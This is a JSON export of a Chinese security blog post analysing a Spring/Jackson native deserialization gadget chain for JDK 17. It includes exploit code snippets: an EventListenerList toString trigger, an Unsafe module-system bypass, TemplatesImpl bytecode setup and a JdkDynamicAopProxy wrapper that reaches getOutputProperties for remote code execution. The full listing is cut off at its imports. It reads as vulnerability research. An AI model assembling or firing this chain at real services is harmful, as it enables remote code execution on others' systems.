{"id":3993,"date":"2025-08-21T22:38:03","date_gmt":"2025-08-21T14:38:03","guid":{"rendered":"https:\/\/fushuling.com\/?p=3993"},"modified":"2025-08-22T16:27:35","modified_gmt":"2025-08-22T08:27:35","slug":"%e9%ab%98%e7%89%88%e6%9c%acjdk%e4%b8%8b%e7%9a%84spring%e5%8e%9f%e7%94%9f%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e9%93%be","status":"publish","type":"post","link":"https:\/\/fushuling.com\/index.php\/2025\/08\/21\/%e9%ab%98%e7%89%88%e6%9c%acjdk%e4%b8%8b%e7%9a%84spring%e5%8e%9f%e7%94%9f%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e9%93%be\/","title":{"rendered":"\u9ad8\u7248\u672cJDK\u4e0b\u7684Spring\u539f\u751f\u53cd\u5e8f\u5217\u5316\u94fe"},"content":{"rendered":"\n<h1 class=\"wp-block-heading\">\u524d\u8a00<\/h1>\n\n\n\n<p>\u6628\u665a\u4e0ajsjcw\u5e08\u5085\u5728\u300aJava\u5b89\u5168share\u300b\u661f\u7403\u63d0\u5230\u7684\u9ad8\u7248\u672cJDK\u4e0b\u7684spring\u539f\u751f\u94fe\u53ef\u8c13\u4e00\u77f3\u6fc0\u8d77\u5343\u5c42\u6d6a\uff0c\u8ba9\u6574\u4e2a\u5b89\u5168\u5708\u70b8\u5f00\u4e86\u9505\uff0c\u4eca\u5929\u6b63\u597d\u8ba4\u771f\u7814\u7a76\u4e00\u4e0b\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250821-153342-21-1.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250821-153342-21-1.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"img\"\/><\/div><\/figure>\n\n\n\n<h1 class=\"wp-block-heading\">\u73af\u5883\u642d\u5efa<\/h1>\n\n\n\n<p>\u8d77\u4e00\u4e2ajdk17\u7684maven\u73af\u5883\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250821-154047-21-2.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250821-154047-21-2.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"img\"\/><\/div><\/figure>\n\n\n\n<p>\u5728pom.xml\u91cc\u52a0\u5165spring\u4f9d\u8d56<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt;<br>&lt;project xmlns=\"http:\/\/maven.apache.org\/POM\/4.0.0\"<br> &nbsp; &nbsp; &nbsp; &nbsp; xmlns:xsi=\"http:\/\/www.w3.org\/2001\/XMLSchema-instance\"<br> &nbsp; &nbsp; &nbsp; &nbsp; xsi:schemaLocation=\"http:\/\/maven.apache.org\/POM\/4.0.0 http:\/\/maven.apache.org\/xsd\/maven-4.0.0.xsd\"&gt;<br> &nbsp;  &lt;modelVersion&gt;4.0.0&lt;\/modelVersion&gt;<br>\u200b<br> &nbsp;  &lt;groupId&gt;com.suctf&lt;\/groupId&gt;<br> &nbsp;  &lt;artifactId&gt;Spring&lt;\/artifactId&gt;<br> &nbsp;  &lt;version&gt;1.0-SNAPSHOT&lt;\/version&gt;<br>\u200b<br> &nbsp;  &lt;properties&gt;<br> &nbsp; &nbsp; &nbsp;  &lt;maven.compiler.source&gt;17&lt;\/maven.compiler.source&gt;<br> &nbsp; &nbsp; &nbsp;  &lt;maven.compiler.target&gt;17&lt;\/maven.compiler.target&gt;<br> &nbsp; &nbsp; &nbsp;  &lt;project.build.sourceEncoding&gt;UTF-8&lt;\/project.build.sourceEncoding&gt;<br> &nbsp;  &lt;\/properties&gt;<br>\u200b<br> &nbsp;  &lt;dependencies&gt;<br> &nbsp; &nbsp; &nbsp;  &lt;dependency&gt;<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  &lt;groupId&gt;org.springframework.boot&lt;\/groupId&gt;<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  &lt;artifactId&gt;spring-boot-starter-web&lt;\/artifactId&gt;<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  &lt;version&gt;3.5.4&lt;\/version&gt;<br> &nbsp; &nbsp; &nbsp;  &lt;\/dependency&gt;<br>\u200b<br> &nbsp; &nbsp; &nbsp;  &lt;dependency&gt;<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  &lt;groupId&gt;org.javassist&lt;\/groupId&gt;<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  &lt;artifactId&gt;javassist&lt;\/artifactId&gt;<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  &lt;version&gt;3.30.2-GA&lt;\/version&gt;<br> &nbsp; &nbsp; &nbsp;  &lt;\/dependency&gt;<br> &nbsp;  &lt;\/dependencies&gt;<br>&lt;\/project&gt;<\/pre>\n\n\n\n<h1 class=\"wp-block-heading\">\u6f0f\u6d1e\u5206\u6790<\/h1>\n\n\n\n<p>\u5728\u5f88\u591a\u5e74\u524d\u5199<a href=\"https:\/\/fushuling.com\/index.php\/2023\/01\/30\/java%E5%AE%89%E5%85%A8%E7%AC%94%E8%AE%B0\/\">java\u7b14\u8bb0<\/a>\u7684\u65f6\u5019\u63d0\u5230\u8fc7jackson\u53cd\u5e8f\u5217\u5316\u94fe\uff0c\u5c31\u662f\u7ecf\u5178\u7684aliyunctf Bypassit\uff0c\u5f53\u65f6\u6bd4\u8d5b\u7684\u65f6\u5019\u5c31\u662f\u9700\u8981\u627e\u5230\u4e00\u6761spring\u7684\u539f\u751f\u53cd\u5e8f\u5217\u5316\u94fe\u5b50\uff0c\u5229\u7528\u7684\u5c31\u662fspring\u91cc\u81ea\u5e26\u7684jackson\u3002<\/p>\n\n\n\n<p>\u5f53\u65f6\u7684\u6253\u6cd5\u662f\uff0c\u7531\u4e8e\u5728jackson\u4e2d <code>POJONode#toString<\/code> \u65b9\u6cd5\u53ef\u4ee5\u8c03\u7528getter\u65b9\u6cd5\uff0c\u6240\u4ee5\u6211\u4eec\u53ef\u4ee5\u5229\u7528getter\u8c03 <code>getOutputProperties<\/code> \u4ee5\u6b64\u5b9e\u73b0RCE\uff0c\u7136\u540e\u518d\u627e\u4e2a\u5730\u65b9\u53bb\u89e6\u53d1 <code>POJONode#toString<\/code> \uff0c\u5f53\u65f6\u5229\u7528\u7684\u662f <code>BadAttributeValueExpException#readObject<\/code>\uff0c\u8fd9\u662f\u4e00\u4e2a\u539f\u751f\u7c7b\uff0c\u5728<code>readObject<\/code>\u7684\u65f6\u5019\u5c31\u89e6\u53d1\u4e86 <code>toString<\/code> \uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250504-213249-4-17.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250504-213249-4-17.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"img\"\/><\/div><\/figure>\n\n\n\n<p>\u53ea\u4e0d\u8fc7\u5728JDK17\u91cc<code>BadAttributeValueExpException<\/code>\u5229\u7528\u4e0d\u4e86\u4e86\uff0c\u6ca1\u6709\u89e6\u53d1<code>toString<\/code>\u7684\u70b9\u4e86\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250821-202743-21-5.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250821-202743-21-5.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"img\"\/><\/div><\/figure>\n\n\n\n<p>\u8fd9\u91cc\u6211\u4eec\u9700\u8981\u9009\u62e9\u4e00\u4e2a\u65b0\u7684\u5165\u53e3\uff1a<code>EventListenerList#readObject<\/code>\uff0c\u53ef\u4ee5\u53c2\u8003\u8fd9\u4e2a\u5e08\u5085\u7684\u6587\u7ae0\uff1a<a href=\"https:\/\/infernity.top\/2025\/03\/24\/EventListenerList%E8%A7%A6%E5%8F%91%E4%BB%BB%E6%84%8FtoString\/\">EventListenerList\u89e6\u53d1\u4efb\u610ftoString<\/a>\uff0c\u5229\u7528\u5b57\u7b26\u4e32\u4e0e\u5bf9\u8c61\u7684\u62fc\u63a5\u89e6\u53d1<code>toString<\/code>\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"> &nbsp;  public static EventListenerList getEventListenerList(Object obj) throws Exception{<br> &nbsp; &nbsp; &nbsp;  EventListenerList list = new EventListenerList();<br> &nbsp; &nbsp; &nbsp;  UndoManager undomanager = new UndoManager();<br>\u200b<br> &nbsp; &nbsp; &nbsp;  \/\/\u53d6\u51faUndoManager\u7c7b\u7684\u7236\u7c7bCompoundEdit\u7c7b\u7684edits\u5c5e\u6027\u91cc\u7684vector\u5bf9\u8c61\uff0c\u5e76\u628a\u9700\u8981\u89e6\u53d1toString\u7684\u7c7badd\u8fdb\u53bb\u3002<br> &nbsp; &nbsp; &nbsp;  Vector vector = (Vector) getFieldValue(undomanager, \"edits\");<br> &nbsp; &nbsp; &nbsp;  vector.add(obj);<br>\u200b<br> &nbsp; &nbsp; &nbsp;  setFieldValue(list, \"listenerList\", new Object[]{Class.class, undomanager});<br> &nbsp; &nbsp; &nbsp;  return list;<br> &nbsp;  }<\/pre>\n\n\n\n<p>\u4ece <strong>JDK 9<\/strong> \u5f00\u59cb\uff0cJava \u5f15\u5165\u4e86 <strong>JPMS\uff08Java Platform Module System\uff0c\u6a21\u5757\u7cfb\u7edf\uff09<\/strong>\uff0c\u4e5f\u5c31\u662f\u8457\u540d\u7684 <em>Project Jigsaw<\/em>\u3002\u5728 JDK 17 \u91cc\uff0c\u8fd9\u4e00\u673a\u5236\u5df2\u7ecf\u88ab\u5b8c\u5168\u5f3a\u5316\uff0c\u5177\u4f53\u4f53\u73b0\u4e3a\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u5185\u90e8 API \u5c01\u88c5<\/strong>\uff1a\u4ee5\u524d\u6211\u4eec\u53ef\u4ee5\u968f\u610f <code>import com.sun.*<\/code> \u6216\u8005 <code>sun.*<\/code> \u7684\u5185\u90e8\u7c7b\uff0c\u4f46\u5728 JDK 17\uff0c\u8fd9\u4e9b\u7c7b\u5df2\u7ecf\u88ab\u6a21\u5757\u7cfb\u7edf\u5f3a\u5c01\u88c5\uff0c\u9ed8\u8ba4\u4e0d\u53ef\u8bbf\u95ee\u3002<\/li>\n\n\n\n<li><strong>\u5f3a\u5c01\u88c5\u673a\u5236<\/strong>\uff1a\u6a21\u5757\u4e4b\u95f4\u7684\u53ef\u89c1\u6027\u7531 <code>module-info.java<\/code> \u63cf\u8ff0\uff0c\u5982\u679c\u67d0\u4e2a\u5305\u6ca1\u6709\u88ab <code>exports<\/code>\uff0c\u5916\u90e8\u6a21\u5757\u5c31\u65e0\u6cd5\u76f4\u63a5\u8bbf\u95ee\u3002<\/li>\n\n\n\n<li><strong>\u53cd\u5c04\u9650\u5236<\/strong>\uff1a\u5728 JDK 8 \u53ca\u4e4b\u524d\uff0c\u6211\u4eec\u5e38\u5e38\u901a\u8fc7 <code>setAccessible(true)<\/code> \u7ed5\u8fc7 <code>private<\/code> \u9650\u5236\uff0c\u53cd\u5c04\u8bbf\u95ee\u7c7b\u7684\u79c1\u6709\u5b57\u6bb5\u6216\u6784\u9020\u51fd\u6570\u3002\u4f46\u5728 JDK 17 \u91cc\uff0c\u5373\u4f7f\u4f60\u7528 <code>setAccessible(true)<\/code>\uff0c\u4e5f\u4f1a\u88ab <code>InaccessibleObjectException<\/code> \u62e6\u4f4f\uff0c\u9664\u975e\u4f60\u5728 JVM \u542f\u52a8\u65f6\u624b\u52a8\u52a0 <code>--add-opens<\/code> \u53c2\u6570\u5f00\u653e\u6a21\u5757\u6216\u8005\u4f7f\u7528 Java Agent\/Instrumentation \u6765\u6253\u7834\u5c01\u88c5\u3002<\/li>\n<\/ul>\n\n\n\n<p>\u56e0\u6b64\uff0cjdk17 \u4f1a\u8fdb\u884c\u6a21\u5757\u68c0\u6d4b\u5bfc\u81f4\u6211\u4eec\u65e0\u6cd5\u76f4\u63a5\u5229\u7528 <code>getOutputProperties<\/code> \u3002<\/p>\n\n\n\n<p>\u90a3\u4e48\u73b0\u5728\u6700\u5173\u952e\u7684\u95ee\u9898\uff0c\u5c31\u662f\u5982\u4f55\u5728jdk17\u4e4b\u4e2d\u5229\u7528<code>getOutputProperties<\/code> ,\u957f\u671f\u4ee5\u6765\uff0c\u7f51\u4e0a\u7684\u5404\u79cd\u6587\u7ae0\u90fd\u63d0\u5230\u9ad8\u7248\u672c\u4e0b\u5229\u7528<code>getOutputProperties<\/code> \u662f\u4e0d\u53ef\u80fd\u7684\u3002\u5728\u5927B\u54e5\u7684<a href=\"https:\/\/boogipop.com\/2024\/02\/05\/2024%20N1CTF%20Junior%20Web%20Writeup\/\">\u535a\u5ba2<\/a>\u91cc\uff0c\u6211\u627e\u5230\u4e86\u5927\u4f19\u4ee5\u5f80\u662f\u600e\u4e48\u5728JDK17\u7ed5\u6a21\u5757\u5316\u7684\uff0c\u6838\u5fc3\u5c31\u662f\u5229\u7528 <code>Unsafe<\/code> \u7be1\u6539 <code>Module<\/code> \u673a\u5236\uff0c\u4ece\u800c\u7ed5\u8fc7 JDK \u7684\u5f3a\u5c01\u88c5\uff08\u6a21\u5757\u8bbf\u95ee\u9650\u5236\uff09\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">private static Method getMethod(Class clazz, String methodName, Class[]<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  params) {<br> &nbsp; &nbsp; &nbsp;  Method method = null;<br> &nbsp; &nbsp; &nbsp;  while (clazz!=null){<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  try {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  method = clazz.getDeclaredMethod(methodName,params);<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  break;<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  }catch (NoSuchMethodException e){<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  clazz = clazz.getSuperclass();<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  }<br> &nbsp; &nbsp; &nbsp;  }<br> &nbsp; &nbsp; &nbsp;  return method;<br> &nbsp;  }<br> &nbsp;  private static Unsafe getUnsafe() {<br> &nbsp; &nbsp; &nbsp;  Unsafe unsafe = null;<br> &nbsp; &nbsp; &nbsp;  try {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  Field field = Unsafe.class.getDeclaredField(\"theUnsafe\");<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  field.setAccessible(true);<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  unsafe = (Unsafe) field.get(null);<br> &nbsp; &nbsp; &nbsp;  } catch (Exception e) {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  throw new AssertionError(e);<br> &nbsp; &nbsp; &nbsp;  }<br> &nbsp; &nbsp; &nbsp;  return unsafe;<br> &nbsp;  }<br> &nbsp;  public void bypassModule(ArrayList&lt;Class&gt; classes){<br> &nbsp; &nbsp; &nbsp;  try {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  Unsafe unsafe = getUnsafe();<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  Class currentClass = this.getClass();<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  try {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  Method getModuleMethod = getMethod(Class.class, \"getModule\", new<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  Class[0]);<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  if (getModuleMethod != null) {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  for (Class aClass : classes) {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  Object targetModule = getModuleMethod.invoke(aClass, new<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  Object[]{});<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  unsafe.getAndSetObject(currentClass,<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  unsafe.objectFieldOffset(Class.class.getDeclaredField(\"module\")), targetModule);<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  }<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  }<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  }catch (Exception e) {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  }<br> &nbsp; &nbsp; &nbsp;  }catch (Exception e){<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  e.printStackTrace();<br> &nbsp; &nbsp; &nbsp;  }<br> &nbsp;  }<\/pre>\n\n\n\n<p>\u5728\u8fd9\u91cc\u9700\u8981\u6ce8\u610f\u4e00\u4e2a\u5f88\u91cd\u8981\u7684\u70b9\uff0c\u5728\u4ee5\u5f80\u6211\u4eec\u5229\u7528<code>TemplatesImpl<\/code> \u7684\u65f6\u5019\uff0c\u88ab\u5229\u7528\u7684\u76ee\u6807\u90fd\u9700\u8981\u7ee7\u627f <code>AbstractTranslet<\/code> \uff0c\u4f46\u5728\u9ad8\u7248\u672c\u4e0b\u80af\u5b9a\u662f\u4e0d\u884c\u7684\uff0c\u56e0\u4e3a\u5fc5\u7136\u6d89\u53ca\u5230\u6a21\u5757\u5316\u7684\u68c0\u6d4b\u5bfc\u81f4\u62a5\u9519\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250821-214605-21-6.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250821-214605-21-6.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"img\"\/><\/div><\/figure>\n\n\n\n<p>\u5176\u5b9e\u5f88\u65e9\u4e4b\u524d\u5c31\u6709\u5e08\u5085\u7684\u6587\u7ae0\u63d0\u5230\u8fc7\uff0c\u6211\u4eec\u5229\u7528\u7684\u7c7b\u5176\u5b9e\u662f\u4e0d\u4e00\u5b9a\u9700\u8981\u7ee7\u627f <code>AbstractTranslet<\/code> \u7c7b\u7684\uff1a<a href=\"https:\/\/whoopsunix.com\/docs\/PPPYSO\/advance\/TemplatesImpl\/#0x02-%E5%8E%BB%E9%99%A4-abstracttranslet-%E9%99%90%E5%88%B6\">TemplatesImpl \u5206\u6790<\/a>\uff0c\u6784\u9020\u65b9\u6cd5\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"> &nbsp; &nbsp; &nbsp;  TemplatesImpl templates = new TemplatesImpl();<br> &nbsp; &nbsp; &nbsp;  setFieldValue(templates, \"_name\", \"xxx\");<br> &nbsp; &nbsp; &nbsp;  setFieldValue(templates, \"_bytecodes\", new byte[][]{code1, code2});<br> &nbsp; &nbsp; &nbsp;  setFieldValue(templates,\"_transletIndex\",0);<\/pre>\n\n\n\n<p>\u5728<a href=\"https:\/\/research.qianxin.com\/archives\/2414\">JDBC Attack\u4e0e\u9ad8\u7248\u672cJDK\u4e0b\u7684JNDI Bypass<\/a>\u91cc\u63d0\u5230\u8fc7\uff0c<code>JdkDynamicAopProxy<\/code>\u53ef\u4ee5\u7528\u4e8e\u89e3\u51b3jackson\u4e2d\u7684getter\u7a33\u5b9a\u89e6\u53d1\u95ee\u9898\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"> &nbsp;  public static Object makeTemplatesImplAopProxy(TemplatesImpl templates) throws Exception {<br> &nbsp; &nbsp; &nbsp;  AdvisedSupport advisedSupport = new AdvisedSupport();<br> &nbsp; &nbsp; &nbsp;  advisedSupport.setTarget(templates);<br> &nbsp; &nbsp; &nbsp;  Constructor constructor = Class.forName(\"org.springframework.aop.framework.JdkDynamicAopProxy\").getConstructor(AdvisedSupport.class);<br> &nbsp; &nbsp; &nbsp;  constructor.setAccessible(true);<br> &nbsp; &nbsp; &nbsp;  InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);<br> &nbsp; &nbsp; &nbsp;  Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);<br> &nbsp; &nbsp; &nbsp;  return proxy;<br> &nbsp;  }<\/pre>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250821-202153-21-3.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250821-202153-21-3.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"img\"\/><\/div><\/figure>\n\n\n\n<p>\u9664\u6b64\u4e4b\u5916\uff0c<code>JdkDynamicAopProxy<\/code>\u8fd8\u6709\u4e00\u4e2a\u66f4\u52a0\u91cd\u8981\u7684\u4f5c\u7528\uff0c\u5982\u679c\u6ca1\u6709aop\u7684\u8bdd\uff0cjackson\u6ca1\u6cd5\u4e3a<code>TemplatesImpl<\/code>\u521b\u5efa\u4e00\u4e2a\u65b0\u7684\u7c7b\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250821-202502--21-4.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250821-202502--21-4.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"img\"\/><\/div><\/figure>\n\n\n\n<p>\u56e0\u4e3a\u76f4\u63a5\u4f20\u5165 <code>TemplatesImpl<\/code> \u5bf9\u8c61\u7684\u8bdd\uff0c<code>com.sun.org.apache.xalan.internal.xsltc.trax<\/code> \u6ca1\u6709 export \u7ed9\u5916\u90e8\uff0c\u6240\u4ee5\u4f1a\u51fa\u73b0\u62a5\u9519\u3002\u4f46\u662f\u7ecf\u8fc7 AOP \u4ee3\u7406\u4e4b\u540e\uff0c\u5bf9\u5916\u66b4\u9732\u7684\u63a5\u53e3\u662f <code>javax.xml.transform.Templates<\/code>\uff0c\u5728 <code>java.xml<\/code> \u6a21\u5757\u4e2d\u662f\u516c\u5f00 exports \u7684\uff0c\u6240\u4ee5\u80fd\u6b63\u5e38\u53cd\u5e8f\u5217\u5316\uff0c\u6700\u540e\u7531\u4ee3\u7406 AOP \u8c03\u7528 <code>getOutputProperties<\/code> \u5b9e\u73b0RCE\uff0c<code>Jackson<\/code> \u53ea\u662f\u6b63\u5e38\u8c03\u7528\u4e86\u63a5\u53e3\u65b9\u6cd5\uff0c\u4ee3\u7406\u5e2e\u5b83\u628a\u8c03\u7528\u8f6c\u53d1\u5230\u4e86 <code>TemplatesImpl<\/code><\/p>\n\n\n\n<p>\u5b8c\u6574\u4ee3\u7801\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">import javax.swing.event.EventListenerList;<br>import java.io.ByteArrayOutputStream;<br>import java.io.ObjectOutputStream;<br>import java.lang.reflect.Field;<br>import javax.swing.undo.UndoManager;<br>import java.util.Base64;<br>import java.util.Vector;<br>import java.util.ArrayList;<br>\u200b<br>import 